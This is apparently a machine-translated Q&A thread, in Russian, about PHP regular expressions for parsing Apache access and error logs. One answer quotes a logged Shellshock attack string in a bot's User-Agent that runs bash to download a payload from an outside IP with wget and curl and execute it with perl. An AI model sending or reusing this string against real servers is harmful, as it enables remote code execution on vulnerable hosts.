Parse Apache регистрируется в PHP с помощью preg_match
Мне нужно сохранить данные в таблице (для отчетности, статистики и т.д.), чтобы пользователь мог искать по времени, пользовательский агент и т.д. У меня есть script, который запускается каждый день, который читает журнал Apache, а затем вставьте его в базу данных.
Формат журнала:
10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
Мое регулярное выражение:
preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);
Теперь, когда я печатаю:
print_r($matches);
Array
(
[0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
[1] => 10.1.1.150
[2] => -
[3] => -
[4] => 29/September/2011
[5] => 14:21:49
[6] => -0400
[7] => GET
[8] => /info/
[9] => HTTP/1.1
[10] => 200
[11] => 9955
[12] => "http://www.domain.com/download/"
[13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)
Я получаю: "http://www.domain.com/download/"
и тот же для агента пользователя. Как я могу избавиться от этих "
в регулярном выражении? Бонус (можно ли быстро вставить дату и время)?
Спасибо
Ответы
Ответ 1
Чтобы проанализировать журнал Apache access_log
на PHP, вы можете использовать это регулярное выражение:
$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);
Чтобы соответствовать формату Apache error_log
, вы можете использовать это регулярное выражение:
$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time, $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message
Он соответствует строкам с клиентом или без него:
[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js
Ответ 2
Если вы не хотите записывать двойные кавычки, выведите их из групп захвата.
(\".*?\")
Должно стать:
\"(.*?)\"
В качестве альтернативы вы можете просто выполнить пост-обработку записей с помощью trim($str, '"')
Ответ 3
ваше регулярное выражение неверно.
вы shoudl используете правильное регулярное выражение
/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
Ответ 4
Я попытался использовать пару регулярных выражений здесь в январе 2015 года и обнаружил, что плохой бот не получает совпадения в моем журнале apache2.
Плохая строка apache2 бота является попыткой взлома BASH, и я еще не пытался выяснить коррекцию регулярного выражения:
199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
Ответ 5
Поскольку я видел и делал так много ошибочного анализа паролей, вот надежное действительное регулярное выражение, проверенное на 50 тыс. строк журналов без какого-либо отдельного разграничения, зная, что:
- auth_user может иметь пробелы
- response_size может быть -
- http_start_line может по крайней мере одно пространство (HTTP/0.9) или два
- http_start_line может содержать двойные кавычки
- referrer может быть пустым, иметь пробелы или двойные кавычки (это просто HTTP-заголовок)
- user_agent также может быть пустым или содержать двойные кавычки и пробелы
- Трудно отличить referrer и user-agent, пусть только домашний
" "
между ними достаточно дискриминирован, но мы можем найти печально известный " "
в реферере и в user-agent, так что в основном мы здесь вкручивается.
$ncsa_re = '/^(?P<IP>\S+)
\ (?P<ident>\S)
\ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
\ (?P<date>\[[^]]+\])
\ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
\ (?P<status_code>[0-9]+) # Status code is _always_ an integer
\ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
\ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
\ "(?P<user_agent>.*)"$/x';
Надеюсь, что это поможет.